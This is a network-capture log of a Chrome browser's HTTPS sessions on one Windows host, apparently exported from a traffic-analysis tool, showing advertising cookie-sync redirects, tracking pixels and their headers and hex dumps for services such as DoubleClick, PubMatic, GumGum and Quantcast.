Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
350	192.168.2.6	50111	142.250.184.226	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	802	OUT	GET /pixel?google_nid=pubmatic&google_hm=QkQwREUxOUMtMDlENC00QjYyLUExODgtNDZBMEQyRTZDMTc3&gdpr=0&gdpr_consent= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: test_cookie=CheckForPermission
2024-05-23 22:35:01 UTC	999	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MjImdGw9MTI5NjAw&gdpr=0&gdpr_consent= Date: Thu, 23 May 2024 22:35:01 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 313 X-XSS-Protection: 0 Set-Cookie: IDE=AHWqTUmULjMWdaAE7So92qW6uZ3SUuYpvelnCgRYYSoxjZVAN3Y9d8jWT8lybvAxe-o; expires=Sat, 23-May-2026 22:35:01 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Set-Cookie: test_cookie=; expires=Fri, 01-Aug-2008 22:45:55 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:01 UTC	313	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 52 6c 50 54 4d 30 4d 6a 49 6d 64 47 77 39 4d 54 49 35 4e 6a 41 77 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MjImdGw9MTI5NjAw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
351	192.168.2.6	50110	142.250.184.226	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	763	OUT	GET /pixel?google_nid=pubmatic&google_cm&google_sc&gdpr=0&gdpr_consent= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: test_cookie=CheckForPermission
2024-05-23 22:35:01 UTC	1057	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTIxNzcmdGw9MTI5NjAw&gdpr=0&gdpr_consent=&piggybackCookie=CAESEO5FZOJv3zXMMW5oDLBIMAE&google_cver=1 Date: Thu, 23 May 2024 22:35:01 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 379 X-XSS-Protection: 0 Set-Cookie: IDE=AHWqTUl24wB7LaOrb-JA1R71gTRWma_l2a_Rk4JPr6x_KG5c9DhPyI2VNhyz4Wv0gm4; expires=Sat, 23-May-2026 22:35:01 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Set-Cookie: test_cookie=; expires=Fri, 01-Aug-2008 22:45:55 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:01 UTC	333	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 52 6c 50 54 49 78 4e 7a 63 6d 64 47 77 39 4d 54 49 35 4e 6a 41 77 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTIxNzcmdGw9MTI5NjAw
2024-05-23 22:35:01 UTC	46	IN	Data Raw: 61 6d 70 3b 67 6f 6f 67 6c 65 5f 63 76 65 72 3d 31 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: amp;google_cver=1">here</A>.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
352	192.168.2.6	50120	185.184.8.90	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	761	OUT	GET /cm-notify?pi=gumgum&tc=1 HTTP/1.1 Host: creativecdn.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: g=vppXXAv6rWDZQ1hfNXAq_1716503699836; ts=1716503699
2024-05-23 22:35:01 UTC	402	IN	HTTP/1.1 302 Found date: Thu, 23 May 2024 22:35:01 GMT vary: Accept-Encoding location: https://usersync.gumgum.com/usersync?b=rth&i=VmE3357sx_5fBlXS5aQvRPDoXLvjgOaSpguvq4YkHhU&pi=gumgum&tc=1 cache-control: no-cache, no-store, must-revalidate, private, max-age=0 pragma: no-cache date: Thu, 23 May 2024 22:35:01 GMT expires: Thu, 01 Jan 1970 00:00:00 GMT content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
353	192.168.2.6	50119	198.47.127.19	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	868	OUT	GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=41551380&p=0&s=0&a=0&ptask=ALL&np=0&fp=0&rp=0&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1 Host: image6.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; chkChromeAb67Sec=1; pi=133799:2; DPSync3=1717632000%3A201_245_241_227; SyncRTB3=1717632000%3A21_56_251_71_3_220_13_54_8%7C1717027200%3A223
2024-05-23 22:35:01 UTC	949	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3p: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; domain=pubmatic.com; path=/; max-age=31536000; SameSite=None; secure; Set-Cookie: chkChromeAb67Sec=2; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: pi=0:3; domain=pubmatic.com; path=/; max-age=86400; SameSite=None; secure; Set-Cookie: DPSync3=1717632000%3A219_197_201_245_241_227_226; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: SyncRTB3=1717632000%3A56_21_71_220_13_233_22_264_251_54_266_55_3_8_46%7C1717718400%3A35%7C1717027200%3A15_223%7C1717286400%3A63%7C1719014400%3A203; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Date: Thu, 23 May 2024 22:34:59 GMT Content-Length: 2014 Connection: close
2024-05-23 22:35:01 UTC	2014	IN	Data Raw: 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 75 69 70 67 6c 6f 62 2e 73 65 6d 61 73 69 6f 2e 6e 65 74 2f 70 75 62 6d 61 74 69 63 2f 31 2f 69 6e 66 6f 3f 73 54 79 70 65 3d 73 79 6e 63 26 73 45 78 74 43 6f 6f 6b 69 65 49 64 3d 42 44 30 44 45 31 39 43 2d 30 39 44 34 2d 34 42 36 32 2d 41 31 38 38 2d 34 36 41 30 44 32 45 36 43 31 37 37 26 73 49 6e 69 74 69 61 74 6f 72 3d 65 78 74 65 72 6e 61 6c 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 27 29 3b 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 70 69 78 65 6c 2e 6f 6e 61 75 64 69 65 6e 63 65 2e 63 6f 6d 2f 3f 70 61 72 74 6e 65 72 3d 32 31 34 26 6d 61 70 70 65 Data Ascii: PubMatic.loadAsyncImagePixel('https://uipglob.semasio.net/pubmatic/1/info?sType=sync&sExtCookieId=BD0DE19C-09D4-4B62-A188-46A0D2E6C177&sInitiator=external&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://pixel.onaudience.com/?partner=214&mappe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
354	192.168.2.6	50107	34.247.233.198	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	773	OUT	GET /usersync?b=sus&i=Zk-ElMCo8XwAALxnKz0AAAAA HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
2024-05-23 22:35:01 UTC	210	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:01 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-05-23 22:35:01 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
355	192.168.2.6	50121	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	1863	OUT	GET /v2/tracker?domain=videocloud&platform=video-js&session=ae6004ed28cb4850ed7f9cd6&account=6415665815001&destination=https%3A%2F%2Fwww.aol.com%2F&platform_version=7.17.2&player=players.brightcove.com%2F6415665815001%2FLJKY1s7eB_default&player_name=EVPlayer%3A1.6&autoplay=false&ads_enabled=false&delivery_type=ondemand&time=1716503699269&event=play_request&video_data=&video_ads_supported=false&media_url=https%3A%2F%2Fmanifest.prod.boltdns.net%2Fmanifest%2Fv1%2Fhls%2Fv4%2Faes128%2F6415665815001%2F6b9daf23-4bde-40fd-8649-5be6dcb9691e%2F6s%2Fmaster.m3u8%3Ffastly_token%3DNjY0ZmQyYTRfNWNiMTk1ODk1ZjEzZTI4MWM2NzRhYTliNGI1ZTZiZWJiYmI1MjIzNThkNmVlY2FiNDI5ZWZjYjE3ZWFjYTJlZg%253D%253D%26bcov_auth%3DeyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysS [TRUNCATED] Host: metrics.brightcove.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:01 UTC	463	IN	HTTP/1.1 200 OK content-length: 35 content-type: image/gif cache-control: must-revalidate,no-cache,no-store Strict-Transport-Security: max-age=300; includeSubDomains Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization Access-Control-Allow-Methods: GET Date: Thu, 23 May 2024 22:35:01 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:01 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
356	192.168.2.6	50094	91.228.74.200	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	737	OUT	GET /pixel/p-5aWVS_roA1dVM.gif?idmatch=0&gdpr=0&gdpr_consent= HTTP/1.1 Host: cms.quantserve.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:01 UTC	828	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:35:01 GMT Content-Length: 0 Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Cache-Control: private, no-cache, no-store, proxy-revalidate Expires: Fri, 04 Aug 1978 12:00:00 GMT Location: https://image2.pubmatic.com/AdServer/Pug?gdpr=0&vcode=bz0yJnR5cGU9MSZjb2RlPTExMTMmdGw9NDMyMDA=&piggybackCookie=JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9 P3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAo PSDo OUR SAMa IND COM NAV" Pragma: no-cache Set-Cookie: d=EJ4BCwH1K_ijAA; expires=Wed, 21-Aug-2024 22:35:01 GMT; path=/; domain=.quantserve.com; SameSite=None; Secure Set-Cookie: mc=664fc495-12b56-3a237-79f5f; expires=Mon, 23-Jun-2025 22:35:01 GMT; path=/; domain=.quantserve.com; SameSite=None; Secure Strict-Transport-Security: max-age=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
357	192.168.2.6	50108	91.228.74.200	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	644	OUT	GET /pixel/p-zLwwakwy-hZw3.gif?idmatch=0&ssp=gumgum2&gdpr=0&gdpr_consent= HTTP/1.1 Host: cms.quantserve.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:01 UTC	725	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:35:01 GMT Content-Length: 0 Connection: close Cache-Control: private, no-cache, no-store, proxy-revalidate Expires: Fri, 04 Aug 1978 12:00:00 GMT Location: https://x.bidswitch.net/sync?dsp_id=76&user_group=2&ssp=gumgum2&gdpr=0&user_id=GxUkpk4XKfUAEiP4GRY99E4QdfkAQXaiHkB5TLxF P3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAo PSDo OUR SAMa IND COM NAV" Pragma: no-cache Set-Cookie: d=EDYBDQH1K_7KwQA; expires=Wed, 21-Aug-2024 22:35:01 GMT; path=/; domain=.quantserve.com; SameSite=None; Secure Set-Cookie: mc=664fc495-13845-4c3e9-bfb3c; expires=Mon, 23-Jun-2025 22:35:01 GMT; path=/; domain=.quantserve.com; SameSite=None; Secure Strict-Transport-Security: max-age=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
358	192.168.2.6	50113	54.239.33.158	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	807	OUT	GET /s/dcm?pid=4bd6ceca-c698-4782-a536-f380f757484c&id=BD0DE19C-09D4-4B62-A188-46A0D2E6C177&redir=true&gdpr=0&gdpr_consent= HTTP/1.1 Host: aax-eu.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:01 UTC	822	IN	HTTP/1.1 302 Found Server: Server Date: Thu, 23 May 2024 22:35:01 GMT Content-Length: 0 Connection: close x-amz-rid: CBQKWWRHY1C5GJ7D0SJ9 Set-Cookie: ad-id=A5cRjNUAyEa0vmcria2wSMY\|t; Domain=.amazon-adsystem.com; Expires=Wed, 01-Jan-2025 22:35:01 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Location: https://aax-eu.amazon-adsystem.com/s/dcm?pid=4bd6ceca-c698-4782-a536-f380f757484c&id=BD0DE19C-09D4-4B62-A188-46A0D2E6C177&redir=true&gdpr=0&gdpr_consent=&dcc=t Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
359	192.168.2.6	50115	185.89.210.153	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	999	OUT	GET /getuid?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=$UID&gdpr=0&gdpr_consent= HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=l9feJkDQllA9othKr8ID1vtALy-eG1am64URWo-Hh-HIRPRtJa12ojMlnucbuX1rmNMYn4_yirbzWHGXYPJIXmCPnOsC-rBVbIigEVijp24.; receive-cookie-deprecation=1; uuid2=9165965397510453586
2024-05-23 22:35:01 UTC	1510	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Thu, 23 May 2024 22:35:01 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=9165965397510453586&gdpr=0&gdpr_consent= AN-X-Request-Uuid: cdc20789-5569-4f00-bdf0-d05f90071093 Set-Cookie: XANDR_PANID=l9feJkDQllA9othKr8ID1vtALy-eG1am64URWo-Hh-HIRPRtJa12ojMlnucbuX1rmNMYn4_yirbzWHGXYPJIXmCPnOsC-rBVbIigEVijp24.; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 21-Aug-2024 22:35:01 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Thu, 11-May-2034 22:35:01 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=9165965397510453586; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 21-Aug-2024 22:35:01 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 8.46.123.175; 8.46.123.175; 943.bm-nginx-loadbalancer.mgmt.ams3.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
360	192.168.2.6	50117	35.204.158.49	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	723	OUT	GET /pubmatic?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9ODA2JnRsPTUxODQwMA==&piggybackCookie=uid:$UID&gdpr=0&gdpr_consent= HTTP/1.1 Host: um.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
